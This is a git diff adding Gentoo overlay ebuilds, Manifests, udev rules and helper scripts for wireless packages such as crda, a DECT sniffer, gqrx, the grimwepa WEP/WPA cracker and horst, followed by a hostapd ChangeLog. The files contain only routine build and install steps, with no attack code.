+DIST crda-1.1.1.tar.bz2 21666 RMD160 035e381f6276dacd06afc05fbfefdbbf7e768091 SHA1 73643b3f49b34c4150df4abb793a36792cc68fb7 SHA256 59b4760da44a8f803caeaaa7fb97e0c6bd3f35f40445b28258e7f14c2fbe13b5
+EBUILD crda-1.1.0-r1.ebuild 1235 RMD160 3292753d2eb93f8b5c58be3a72ec7912c86c03b1 SHA1 c11d2f635823cc311e6981eb628606b242a80674 SHA256 889a8722ad807f3d4f053093c8b78334d9c15c647f5437933528190ae35612b7
+EBUILD crda-1.1.1.ebuild 905 RMD160 a908790ac379adffae983c25c23b6b0662d3b130 SHA1 91a578ecd725b06fa1dbf12a14dea3f7d319a478 SHA256 f0d2c90b8a747d45deff02fce2c8980326a0260d1206ea55f40242ce72ce9620
diff --git a/net-wireless/crda/crda-1.1.0-r1.ebuild b/net-wireless/crda/crda-1.1.0-r1.ebuild
new file mode 100644
index 00000000..4616d1f7
--- /dev/null
+++ b/net-wireless/crda/crda-1.1.0-r1.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/crda/crda-1.0.1-r1.ebuild,v 1.2 2009/01/29 18:37:01 gentoofan23 Exp $
+
+inherit toolchain-funcs multilib
+
+DESCRIPTION="Central Regulatory Domain Agent for wireless networks."
+HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory"
+SRC_URI="http://wireless.kernel.org/download/crda/${P}.tar.bz2"
+LICENSE="as-is"
+SLOT="0"
+
+DESIRED_REGDB="20090817"
+KEYWORDS="amd64 ~ppc ~ppc64 x86"
+IUSE=""
+DEPEND="dev-libs/libgcrypt
+ dev-libs/libnl
+ dev-python/m2crypto
+ =net-wireless/wireless-regdb-${DESIRED_REGDB}"
+RDEPEND="dev-libs/libnl
+ =net-wireless/wireless-regdb-${DESIRED_REGDB}"
+# I am "pretty sure" about the rdepends
+
+src_unpack() {
+ unpack ${A}
+
+ ##Make sure we install the rules where udev rules go...
+ sed -i -e "/^UDEV_RULE_DIR/s:lib:$(get_libdir):" "${S}"/Makefile || die \
+ "Makefile sed failed"
+ cp /usr/lib/crda/custom-distro.key.pub.pem ${S}/pubkeys/ || die "please 'emerge -1 =wireless-regdb-${DESIRED_REGDB}', sorry"
+}
+
+src_compile() {
+ emake CC="$(tc-getCC)" || die "Compilation failed"
+}
+
+src_install() {
+ emake DESTDIR="${D}" install || die "emake install failed"
+}
diff --git a/net-wireless/crda/crda-1.1.1.ebuild b/net-wireless/crda/crda-1.1.1.ebuild
new file mode 100644
index 00000000..122c1262
--- /dev/null
+++ b/net-wireless/crda/crda-1.1.1.ebuild
@@ -0,0 +1,29 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+inherit toolchain-funcs multilib
+
+DESCRIPTION="Central Regulatory Domain Agent for wireless networks."
+HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory"
+SRC_URI="http://wireless.kernel.org/download/crda/${P}.tar.bz2"
+LICENSE="as-is"
+SLOT="0"
+
+KEYWORDS="amd64 ~ppc ~ppc64 x86"
+IUSE=""
+DEPEND="dev-libs/openssl
+ dev-libs/libgcrypt
+ dev-libs/libnl
+ dev-python/m2crypto"
+RDEPEND="dev-libs/libnl
+ dev-libs/openssl
+ net-wireless/wireless-regdb"
+
+src_compile() {
+ emake UDEV_RULE_DIR=/etc/udev/rules.d/ USE_OPENSSL=1 RUNTIME_PUBKEY_DIR=/usr/$(get_libdir)/crda/ CC="$(tc-getCC)" || die "Compilation failed"
+}
+
+src_install() {
+ emake UDEV_RULE_DIR=/etc/udev/rules.d/ USE_OPENSSL=1 RUNTIME_PUBKEY_DIR=/usr/$(get_libdir)/crda/ DESTDIR="${D}" install || die "emake install failed"
+}
diff --git a/net-wireless/dedected/Manifest b/net-wireless/dedected/Manifest
new file mode 100644
index 00000000..c0a8a93b
--- /dev/null
+++ b/net-wireless/dedected/Manifest
@@ -0,0 +1,3 @@
+AUX 99-dect.rules 199 RMD160 dc51d555bcadcd23aca50b5c572f349b22feba01 SHA1 33b80792030a8f8d56b251f5e6da3597099dc285 SHA256 e9830bd99bc043aea3a73c36bab444c9f608ce655c407361a732a2c12c3f1748
+AUX load-dect.sh 141 RMD160 ea6bc9921ce9dca7a68ea7731bb2f63d728163d9 SHA1 00aaabb1ea6a3ef09f442c54e4b9460f248a99b1 SHA256 51778dff87622940cd13e391888a64558cf7a66673f7585b6d7084fe3b4367c1
+EBUILD dedected-9999.ebuild 1401 RMD160 2c4682f065b901ab2e03da3cd271a1715c72264f SHA1 f4e5281528e9b35ca80dd2c1f114c56f9bfe195f SHA256 a73b4666c2a1bfe38f93fa537facf13b8505c710481bea2363d90b57a3bf7439
diff --git a/net-wireless/dedected/dedected-9999.ebuild b/net-wireless/dedected/dedected-9999.ebuild
new file mode 100644
index 00000000..506171a8
--- /dev/null
+++ b/net-wireless/dedected/dedected-9999.ebuild
@@ -0,0 +1,55 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+inherit toolchain-funcs linux-info linux-mod eutils subversion
+
+DESCRIPTION="DECT Sniffer"
+HOMEPAGE="https://dedected.org"
+SRC_URI=""
+ESVN_REPO_URI="https://dedected.org/svn/trunk/com-on-air_cs-linux/"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND=""
+
+BUILD_TARGETS="default"
+BUILD_TARGET_ARCH="${ARCH}"
+MODULE_NAMES="com_on_air_cs(misc:${S})"
+
+pkg_config() {
+ linux-mod_pkg_setup
+ BUILD_PARAMS="KDIR=${KV_DIR}"
+}
+
+pkg_preinst() {
+ enewgroup dect
+}
+src_compile() {
+# KDIR="${KV_DIR}" emake || die "emake failed"
+ linux-mod_src_compile
+ KDIR="${KV_DIR}" emake -C tools || die "emake tools failed"
+ KDIR="${KV_DIR}" emake -C tools/dectshark || die "emake dectshark failed"
+
+}
+
+src_install () {
+# emake DESTDIR="${D}" install || die "emake install failed"
+ linux-mod_src_install
+ #we could add a group and when we add udev rules we may drop this stuff in bin instead
+ dosbin tools/coa_syncsniff tools/dect_cli tools/dump_dip tools/dump_eeprom
+ dosbin tools/pcap2cchan tools/pcapstein tools/dectshark/dectshark
+ insinto /etc/udev/rules.d/
+ doins "${FILESDIR}"/99-dect.rules
+ exeinto /lib/udev/
+ doexe "${FILESDIR}"/load-dect.sh
+}
+
+pkg_postinst() {
+ linux-mod_pkg_postinst
+ elog "If you want to sniff dect as a user add yourself to the dect group"
+}
diff --git a/net-wireless/dedected/files/99-dect.rules b/net-wireless/dedected/files/99-dect.rules
new file mode 100644
index 00000000..8c6dd2e7
--- /dev/null
+++ b/net-wireless/dedected/files/99-dect.rules
@@ -0,0 +1,2 @@
+ACTION=="add", SUBSYSTEM=="pcmcia", ATTRS{prod_id1}=="DECTDataDevice", RUN+="/lib/udev/load-dect.sh"
+ACTION=="add", SUBSYSTEM=="pcmcia", ATTRS{prod_id1}=="DOSCH-AMAND", RUN+="/lib/udev/load-dect.sh"
diff --git a/net-wireless/dedected/files/load-dect.sh b/net-wireless/dedected/files/load-dect.sh
new file mode 100644
index 00000000..d62f0bce
--- /dev/null
+++ b/net-wireless/dedected/files/load-dect.sh
@@ -0,0 +1,8 @@
+#!/bin/bash
+
+/lib/udev/load-modules.sh com_on_air_cs
+
+if [ ! -c /dev/coa ]; then
+ mknod /dev/coa --mode 660 c 3564 0
+ chgrp dect /dev/coa
+fi
diff --git a/net-wireless/desknfc/Manifest b/net-wireless/desknfc/Manifest
new file mode 100644
index 00000000..39b91569
--- /dev/null
+++ b/net-wireless/desknfc/Manifest
@@ -0,0 +1 @@
+EBUILD desknfc-9999.ebuild 456 RMD160 871abd34f1d95dd934e81eeeee002379b0538a0c SHA1 1e61a032b1a8692718189975c1a882a0de49d54b SHA256 5b95ac2ba621c9836f3deb06dc825d095f5ff96baf1bceb20fa5b551871f208a
diff --git a/net-wireless/desknfc/desknfc-9999.ebuild b/net-wireless/desknfc/desknfc-9999.ebuild
new file mode 100644
index 00000000..86be81c4
--- /dev/null
+++ b/net-wireless/desknfc/desknfc-9999.ebuild
@@ -0,0 +1,20 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit kde4-base subversion
+
+DESCRIPTION="a KDE4 plasmoid which offer NFC content access"
+HOMEPAGE="https://code.google.com/p/nfc-tools/wiki/desknfc"
+SRC_URI=""
+ESVN_REPO_URI="http://nfc-tools.googlecode.com/svn/trunk/desknfc"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64"
+IUSE=""
+
+DEPEND="dev-libs/libndef"
+RDEPEND="${DEPEND}"
diff --git a/net-wireless/gqrx/Manifest b/net-wireless/gqrx/Manifest
new file mode 100644
index 00000000..ca7fec6c
--- /dev/null
+++ b/net-wireless/gqrx/Manifest
@@ -0,0 +1 @@
+EBUILD gqrx-9999.ebuild 590 SHA256 2dc8f26457f745d771c9603018eecfd3934ee687131f43898e91a9afa788549b SHA512 0d14d3b2fc318cd852f98bb7b54d7ef156af38b3c455f76f7c2b08e0b99cd294b6e3b103495f14e4fbd0e03d19e88b267ad70ba13585dc1b2952a93192dd871c WHIRLPOOL 1606dc6eacc9b821bfb7ca0c294572d4392bf8224b161fed6170b0cc702f57f002ddfba72e57bc4d892159f51790f5167761b96e8b52394e18ec6a615a24f001
diff --git a/net-wireless/gqrx/gqrx-9999.ebuild b/net-wireless/gqrx/gqrx-9999.ebuild
new file mode 100644
index 00000000..2a62bc57
--- /dev/null
+++ b/net-wireless/gqrx/gqrx-9999.ebuild
@@ -0,0 +1,27 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit qt4-r2 git-2
+
+DESCRIPTION="Software defined radio receiver powered by GNU Radio and Qt"
+HOMEPAGE="http://www.oz9aec.net/index.php/gnu-radio/gqrx-sdr"
+EGIT_REPO_URI="https://github.com/csete/gqrx.git"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS=""
+IUSE="uhd rtl fcd"
+
+DEPEND="net-wireless/gnuradio[fcd?]
+ rtl? ( net-wireless/rtl-sdr )
+ uhd? ( net-wireless/uhd )
+ net-wireless/gr-osmosdr
+ media-sound/pulseaudio"
+RDEPEND="${DEPEND}"
+
+src_install() {
+ dobin gqrx
+}
diff --git a/net-wireless/gr-air-modes/Manifest b/net-wireless/gr-air-modes/Manifest
new file mode 100644
index 00000000..6b165436
--- /dev/null
+++ b/net-wireless/gr-air-modes/Manifest
@@ -0,0 +1,3 @@
+AUX modes.py 164 SHA256 799f59a532004b1e69f69dc75a5f63689daae4b450c98b3c1a35bb95bac7aa15 SHA512 dc7837c115846d80e84b464cafc462dc0563567440761a18f4ca801ecfe604a5d4808a3e98e3f5d482dd275c8de5b363aa44d11244090db1e0557ee41fb933b8 WHIRLPOOL 6c144c3906a2a90053cb900f8822c4c478c9cb82259a0ddb87545195f6c6455e88f64f1f70233dc04bb03195f62355400226095710c818f89a9ce0d72e7b2dcb
+AUX rtl_modes.py 45 SHA256 9a0c8154aa3311601bb22885f5b0e4206de0173e99e03f198dae133532f085f3 SHA512 bf3fb60e1885b85adf5a6cd9306e2a874d7b38666484649b70202b959086e9c8b95bdd6cbaa3605000ebb2693c7630e5bb88b3e8d7aa4cd5ff97261c5060cb34 WHIRLPOOL c25c7dbc3f5bcd1929587c9961c81ad9efc899683930f1ab6137a13cc3475ea74463f0028ca4451be263fecd1b7760126f45a8275730cf46ebedff8e389052df
+EBUILD gr-air-modes-9999.ebuild 1028 SHA256 be60042343786cfff7aa0c19db025ec8bec81a54c6297cfa713dae1173bed10e SHA512 a0da90740c91f8c5599e87b8de7a560bf1b0bde9ff8455ade28e349c9f84eac0720ff07eacc366fe8b0eb807c3235fbf9c7be3e8e9b39b13141d7574915946cf WHIRLPOOL ce65a0127bb6f8c1c67b1eae8c45831e99bf9cd50a091aebaebfa09ead0edf0846f29d6ed1f53f8a4812f77f868dd9c6271a5f9b7074a4e07bb1b833e4e3ce01
diff --git a/net-wireless/gr-air-modes/files/modes.py b/net-wireless/gr-air-modes/files/modes.py
new file mode 100644
index 00000000..511acbef
--- /dev/null
+++ b/net-wireless/gr-air-modes/files/modes.py
@@ -0,0 +1,6 @@
+#!/bin/sh
+echo "Please call modes_rx or modes_gui instead of $0 directly"
+if [ "$0" == "rtl_modes.py" ]
+then
+ echo "for rtl devices remember to use the -d flag"
+fi
diff --git a/net-wireless/gr-air-modes/files/rtl_modes.py b/net-wireless/gr-air-modes/files/rtl_modes.py
new file mode 100644
index 00000000..60836aef
--- /dev/null
+++ b/net-wireless/gr-air-modes/files/rtl_modes.py
@@ -0,0 +1,2 @@
+#!/bin/sh
+python /usr/bin/uhd_modes.py -d $@
diff --git a/net-wireless/gr-air-modes/gr-air-modes-9999.ebuild b/net-wireless/gr-air-modes/gr-air-modes-9999.ebuild
new file mode 100644
index 00000000..cdba5710
--- /dev/null
+++ b/net-wireless/gr-air-modes/gr-air-modes-9999.ebuild
@@ -0,0 +1,43 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+inherit python cmake-utils git-2
+
+DESCRIPTION="This module implements a complete Mode S and ADS-B receiver for Gnuradio"
+HOMEPAGE="https://www.cgran.org/wiki/gr-air-modes"
+
+EGIT_REPO_URI="https://github.com/bistromath/gr-air-modes.git"
+#EGIT_BRANCH="master"
+#EGIT_BRANCH="qtapp"
+
+KEYWORDS=""
+
+LICENSE="GPL-3"
+SLOT="0"
+IUSE="rtl fgfs +gui uhd"
+DEPEND=">=net-wireless/gnuradio-3.6.1
+ net-wireless/gr-osmosdr
+ fgfs? ( sci-libs/scipy
+ games-simulation/flightgear )
+ rtl? ( net-wireless/rtl-sdr )
+ uhd? ( >=net-wireless/uhd-3.4.0 )
+ gui? ( dev-python/pyqwt )"
+RDEPEND="${DEPEND}"
+
+pkg_setup() {
+ python_set_active_version 2
+ python_pkg_setup
+}
+
+src_compile() {
+ cmake-utils_src_compile -j1
+}
+
+src_install() {
+ cmake-utils_src_install
+ python_convert_shebangs 2 "${ED}"usr/bin/*
+ use rtl && newbin "${FILESDIR}"/modes.py rtl_modes.py
+ use uhd && newbin "${FILESDIR}"/modes.py uhd_modes.py
+}
diff --git a/net-wireless/grimwepa/Manifest b/net-wireless/grimwepa/Manifest
new file mode 100644
index 00000000..11ce8f0c
--- /dev/null
+++ b/net-wireless/grimwepa/Manifest
@@ -0,0 +1,5 @@
+AUX grimwepa.conf 159 RMD160 ec221c1b69ddc2b1a1e5f44e55d5dbeb3e26992b SHA1 972c69fa37082244785226b7686472f68f4360c2 SHA256 ba77016d42d034bc6ebce02999df87d5e2372e79acb0698e885841c0b4eacdbe
+AUX grimwepa.desktop 214 RMD160 8cbf25d885835fd0528408786788bbbce1badd77 SHA1 0855de52f0f7773104091dd2297722db837a485f SHA256 c0ea5b062d2ed5afadc5d3912ad401578ed33d37a6f9150ae1dfaf3db84e7943
+AUX grimwepa.sh 50 RMD160 883af2f0cc99cf75d40835ffe1da353a8f78777d SHA1 083f8af4321b5390c64942623746a613f40deef3 SHA256 b442447d20dcc1aa7367b3555375caa330da287fe8764638f73b56bc64007a95
+DIST grimwepa1.10a5.jar 325850 RMD160 12f854075bfcc2544d28d8d99546f1148e8c449d SHA1 8bc01a65d05336cb09a7f4dfdc8237f34b58203b SHA256 7f00b11e1d790404afe229019722b0847a7d0c9d7013a3cdd1cb45212734abe1
+EBUILD grimwepa-1.10_p5-r100.ebuild 955 RMD160 939b803cac126669340a8a31a6fec1fd6dca515d SHA1 c1e592fab3ab36c383083520ecae5d931a62184d SHA256 013c18f37c3a60b45ba408ec4505cc53d21e037676fd72a9d9eb20c3771fb756
diff --git a/net-wireless/grimwepa/files/grimwepa.conf b/net-wireless/grimwepa/files/grimwepa.conf
new file mode 100644
index 00000000..48037414
--- /dev/null
+++ b/net-wireless/grimwepa/files/grimwepa.conf
@@ -0,0 +1,12 @@
+iface select one:
+channel 6
+allchan false
+targettimeout 3
+wpatimeout 10
+wpaword [default wordlist]
+wepattack 0
+xterm false
+irate 600
+color 2
+wpamethod 0
+shown
diff --git a/net-wireless/grimwepa/files/grimwepa.desktop b/net-wireless/grimwepa/files/grimwepa.desktop
new file mode 100644
index 00000000..d609a1d2
--- /dev/null
+++ b/net-wireless/grimwepa/files/grimwepa.desktop
@@ -0,0 +1,14 @@
+[Desktop Entry]
+Comment=
+Exec=grimwepa
+GenericName=
+Icon=cache
+Name=GrimWepa
+Path=
+StartupNotify=true
+Terminal=0
+TerminalOptions=
+Type=Application
+X-KDE-SubstituteUID=false
+X-KDE-Username=
+Categories=Java;Utility;
diff --git a/net-wireless/grimwepa/files/grimwepa.sh b/net-wireless/grimwepa/files/grimwepa.sh
new file mode 100644
index 00000000..1e5f06e0
--- /dev/null
+++ b/net-wireless/grimwepa/files/grimwepa.sh
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+exec java -jar /usr/lib/grimwepa.jar &
diff --git a/net-wireless/grimwepa/grimwepa-1.10_p5-r100.ebuild b/net-wireless/grimwepa/grimwepa-1.10_p5-r100.ebuild
new file mode 100644
index 00000000..14a95d29
--- /dev/null
+++ b/net-wireless/grimwepa/grimwepa-1.10_p5-r100.ebuild
@@ -0,0 +1,36 @@
+# Copyright 1999-2007 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-proxy/webscarab/webscarab-20070504.ebuild,v 1.1 2007/06/17 16:14:46 mrness Exp $
+
+EAPI="2"
+
+inherit eutils
+
+DESCRIPTION="A password cracker for both WEP and WPA-encrypted access points"
+HOMEPAGE="http://code.google.com/p/grimwepa/"
+SRC_URI="http://grimwepa.googlecode.com/files/grimwepa1.10a5.jar"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="+wep +extra"
+
+# pyrit, gpu attack, FIXME use flag
+
+DEPEND=">=virtual/jre-1.5
+ net-wireless/wpa_supplicant
+ wep? ( net-analyzer/macchanger )
+ extra? ( app-crypt/crunch
+ net-analyzer/wireshark
+ net-analyzer/hydra
+ app-crypt/pyrit )"
+RDEPEND="${DEPEND}"
+
+src_install() {
+ newbin "${FILESDIR}/${PN}.sh" "${PN}"
+ insinto /usr/lib
+ newins "${DISTDIR}/${A}" "${PN}.jar"
+ insinto /etc
+ doins "${FILESDIR}"/grimwepa.conf
+ domenu "${FILESDIR}"/grimwepa.desktop
+}
diff --git a/net-wireless/haraldscan/Manifest b/net-wireless/haraldscan/Manifest
new file mode 100644
index 00000000..c211229a
--- /dev/null
+++ b/net-wireless/haraldscan/Manifest
@@ -0,0 +1,4 @@
+AUX haraldscan-maclist-path.patch 334 SHA256 70b53227f075425fec36314095d21962e3dd0e01cfb3525e3d093fa6c04547cd SHA512 2fce2b26c536f3849313d1d0243ab31cd01e4a787ffeb1c870c86db57203ae71143e23b9e4edcd2079d34853c09e5e603b88a41f670b0e05a6c7bdd3d9739d9f WHIRLPOOL ddb989a3cff3addbeb9cab6ea580eafab8e22ad4051275edcb1162c952bc503044321f75d38d5d000ba2a8603117a89927a2296c76c0654ddf28ef090163fde0
+DIST MACLIST 10369 SHA256 335582afd0e87d97cc5856ffb8bc296b169955d367309f8d40ec8db96e27c7b6 SHA512 aa73ec9945ea0af033a40d496c834c694ac6c9359db2b1fa01a7475f7602d1b96ecf6aca4978e656a46b727c0991146157c3fe4e32a4e1cb0a5715017e3d1a57 WHIRLPOOL 684a209fee50f713bb3529292dc4a6a934c6305ab506351f30c74b91b092bbda8446a958a9ec33e943d7329b52b09452ac9d0864ddaaa40317fd993b1a22ca63
+DIST haraldscan-src-0.41.tar.gz 44183 SHA256 86e4620d92725b480cd956f91746457484c746062ffc22ea57e5cc58fd10b53e SHA512 ed823c78b5664c7b515c4964c7570453f9c5595c4f61c3daf4fb8c7c8a154ab8352226b70a9dbc2a1a03563fcae6a0d93d08ecd79ee730fcf19b087b31ef7d31 WHIRLPOOL 1a99b13498104e30fb2b4883a5b8b3e3ca19ae605ed8963651b6921f3a5c89785ff0233efb5ea8b36f6e055ccd812087310099fc2c89937bbe97cc18d2e9fc07
+EBUILD haraldscan-0.41.ebuild 1209 SHA256 56411020a7aeae6351c5c0345e8898b365d97893dd0c6afb2c43911ee5b640e4 SHA512 61a4dcb7342fb079d1c16573416b61878b4fe24d372e0f8bc50a61bf556bbfb1f4c333fe9d05955347b7bcd27c4d9c32f53d028d199df35fd5d7cc64970d10cd WHIRLPOOL 80758ceddb96c826f638d8136252a02c119d38b4740b4c6046411726b61e02b0442ce814f826a88dc4724417ed2dbdde58ad49393ba9c141d6da774ff5675e63
diff --git a/net-wireless/haraldscan/files/haraldscan-maclist-path.patch b/net-wireless/haraldscan/files/haraldscan-maclist-path.patch
new file mode 100644
index 00000000..3ef80ee0
--- /dev/null
+++ b/net-wireless/haraldscan/files/haraldscan-maclist-path.patch
@@ -0,0 +1,11 @@
+--- a/haraldmodules/haraldupdate.py 2010-01-15 15:01:44.939988340 +0100
++++ b/haraldmodules/haraldupdate.py 2010-01-15 15:01:58.978014426 +0100
+@@ -35,7 +35,7 @@
+ llines = 0
+
+
+- flocal = open('MACLIST', 'rb')
++ flocal = open('/usr/share/haraldscan/MACLIST', 'rb')
+
+ for line in flocal:
+ llines+=1
diff --git a/net-wireless/haraldscan/haraldscan-0.41.ebuild b/net-wireless/haraldscan/haraldscan-0.41.ebuild
new file mode 100644
index 00000000..e4579fb8
--- /dev/null
+++ b/net-wireless/haraldscan/haraldscan-0.41.ebuild
@@ -0,0 +1,59 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="4"
+
+PYTHON_DEPEND="2"
+
+inherit python eutils
+
+DESCRIPTION="A Bluetooth discovery scanner"
+HOMEPAGE="http://code.google.com/p/haraldscan/"
+SRC_URI="http://haraldscan.googlecode.com/files/${PN}-src-${PV}.tar.gz
+ http://haraldscan.googlecode.com/svn/trunk/MACLIST"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="$RDEPEND"
+RDEPEND="dev-python/pybluez"
+
+#S="${WORKDIR}"/${PN}-${PV}
+
+pkg_setup() {
+ python_set_active_version 2
+ python_pkg_setup
+}
+
+src_unpack() {
+ mkdir "${S}"
+ cd "${S}"
+ unpack ${A}
+ cd "${S}"
+}
+src_prepare() {
+ epatch "${FILESDIR}"/haraldscan-maclist-path.patch
+}
+src_install() {
+ insinto $(python_get_sitedir)/haraldmodules
+ doins haraldmodules/*.py
+ dobin haraldscan.py
+ insinto /usr/share/haraldscan
+# doins MACLIST
+ cp "${DISTDIR}"/MACLIST "${D}"/usr/share/${PN}/
+ dodoc doc/README
+}
+
+pkg_postinst() {
+ python_mod_optimize haraldmodules
+# einfo "Updating MAC database..."
+# haraldscan.py -u >/dev/null 2>&1 || true
+ elog "Run 'haraldscan.py -u' to create macinfo.db in a current directory"
+}
+
+pkg_postrm() {
+ python_mod_cleanup haraldmodules
+}
diff --git a/net-wireless/horst/Manifest b/net-wireless/horst/Manifest
new file mode 100644
index 00000000..aaf44c9d
--- /dev/null
+++ b/net-wireless/horst/Manifest
@@ -0,0 +1,2 @@
+DIST horst-3.0.tar.gz 63179 RMD160 9fb84a68baef5a09a5bb6f7a433ddc967fb3ae90 SHA1 b7bf94f819285c3d0e79d0fba921ab8221cc6e47 SHA256 7d8de85ff8715f3bea7ccecc0382e2d3c48bccce4be6dee5f1d0d15447776cc8
+EBUILD horst-3.0.ebuild 553 RMD160 4d677bd11488714f238cc405e5bcb4909285ab78 SHA1 46c27db06a6bec346b7103b9764d634714b6ec70 SHA256 b7e358ace47d2c4f7685240b9843ad211af3b70cfdd6dffdfbb191c8bcfc07f6
diff --git a/net-wireless/horst/horst-3.0.ebuild b/net-wireless/horst/horst-3.0.ebuild
new file mode 100644
index 00000000..6a990ab6
--- /dev/null
+++ b/net-wireless/horst/horst-3.0.ebuild
@@ -0,0 +1,31 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+DESCRIPTION="Small 802.11 wireless LAN analyzer"
+HOMEPAGE="http://br1.einfach.org/tech/horst/"
+SRC_URI="http://br1.einfach.org/horst_dl/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE="+pcap"
+
+DEPEND="sys-libs/ncurses
+ pcap? ( net-libs/libpcap )"
+RDEPEND="${DEPEND}"
+
+src_compile() {
+ if use pcap; then
+ emake PCAP=1
+ else
+ emake
+ fi
+}
+
+src_install() {
+ dosbin horst
+ dodoc ChangeLog README TODO
+}
diff --git a/net-wireless/hostapd/ChangeLog b/net-wireless/hostapd/ChangeLog
new file mode 100644
index 00000000..f0e55f20
--- /dev/null
+++ b/net-wireless/hostapd/ChangeLog
@@ -0,0 +1,579 @@
+# ChangeLog for net-wireless/hostapd
+# Copyright 1999-2011 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/hostapd/ChangeLog,v 1.110 2011/04/21 13:53:15 tomka Exp $
+
+ 21 Apr 2011; Thomas Kahle <tomka@gentoo.org> hostapd-0.7.3.ebuild:
+ x86 stable per bug 360997
+
+ 29 Mar 2011; Christoph Mende <angelos@gentoo.org> hostapd-0.7.3.ebuild:
+ Stable on amd64 wrt bug #360997
+
+*hostapd-0.7.3 (08 Sep 2010)
+
+ 08 Sep 2010; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -hostapd-0.6.8.ebuild, -hostapd-0.6.10.ebuild, -hostapd-0.7.2.ebuild,
+ +hostapd-0.7.3.ebuild:
+ Bumping to 0.7.3 and removing old versions.
+ This version is the first in the 0.7 stable series from upstream.
+
+*hostapd-0.7.2 (23 May 2010)
+
+ 23 May 2010; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -hostapd-0.7.1.ebuild, +hostapd-0.7.2.ebuild:
+ Bumping to 0.7.2, fixing bug #319923
+
+*hostapd-0.7.1 (24 Jan 2010)
+
+ 24 Jan 2010; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -hostapd-0.7.0.ebuild, -files/hostapd-0.7.0-fix_linking.patch,
+ +hostapd-0.7.1.ebuild:
+ Bumping to 0.7.1 , fixing bugs #301540 and #301542
+
+*hostapd-0.7.0 (16 Jan 2010)
+
+ 16 Jan 2010; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ +hostapd-0.7.0.ebuild, +files/hostapd-0.7.0-fix_linking.patch,
+ metadata.xml:
+ Bumping to 0.7.0
+
+*hostapd-0.6.10 (14 Jan 2010)
+
+ 14 Jan 2010; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ hostapd-0.6.8.ebuild, -files/hostapd-0.6.8-conf.d,
+ -files/hostapd-0.6.8-init.d, hostapd-0.6.9.ebuild,
+ -files/hostapd-0.6.9-conf.d, -files/hostapd-0.6.9-init.d,
+ +hostapd-0.6.10.ebuild, +files/hostapd-conf.d, +files/hostapd-init.d:
+ Bumping to 0.6.10 and removing redundant init.d and conf.d files
+
+ 11 Sep 2009; Diego E. Pettenò <flameeyes@gentoo.org>
+ hostapd-0.6.8.ebuild, hostapd-0.6.9.ebuild:
+ Fix RDEPEND assignment that nilled the runtime dependencies.
+
+ 24 May 2009; Markus Meier <maekke@gentoo.org> hostapd-0.6.9.ebuild:
+ amd64/x86 stable, bug #270148
+
+ 21 May 2009; Brent Baude <ranger@gentoo.org> hostapd-0.6.9.ebuild:
+ stable ppc, bug 270148
+
+ 17 May 2009; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ files/hostapd-0.6.8-init.d, files/hostapd-0.6.9-init.d:
+ Fixing init script, so it is POSIX compliant, fixing bug #269063
+
+ 16 Apr 2009; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ hostapd-0.6.9.ebuild:
+ Porting ebuild to EAPI 2
+
+ 05 Apr 2009; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -files/hostapd-0.5.10-conf.d, -files/hostapd-0.5.10-init.d,
+ -hostapd-0.5.10.ebuild:
+ Removing 0.5.10, since it has been superseeded by 0.6.8
+
+ 04 Apr 2009; Markus Meier <maekke@gentoo.org> hostapd-0.6.8.ebuild:
+ amd64/x86 stable, bug #263673
+
+ 24 Mar 2009; Joseph Jezak <josejx@gentoo.org> hostapd-0.6.8.ebuild:
+ Marked ppc stable for bug #263673.
+
+*hostapd-0.6.9 (25 Mar 2009)
+
+ 25 Mar 2009; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -files/hostapd-0.6.7-conf.d, -files/hostapd-0.6.7-init.d,
+ +files/hostapd-0.6.9-conf.d, +files/hostapd-0.6.9-init.d,
+ -hostapd-0.6.7.ebuild, +hostapd-0.6.9.ebuild:
+ Bumping to 0.6.9 and removing 0.6.7
+
+ 27 Feb 2009; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ hostapd-0.6.7.ebuild, hostapd-0.6.8.ebuild:
+ Added info regarding madwifi and wme_enabled
+
+ 27 Feb 2009; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
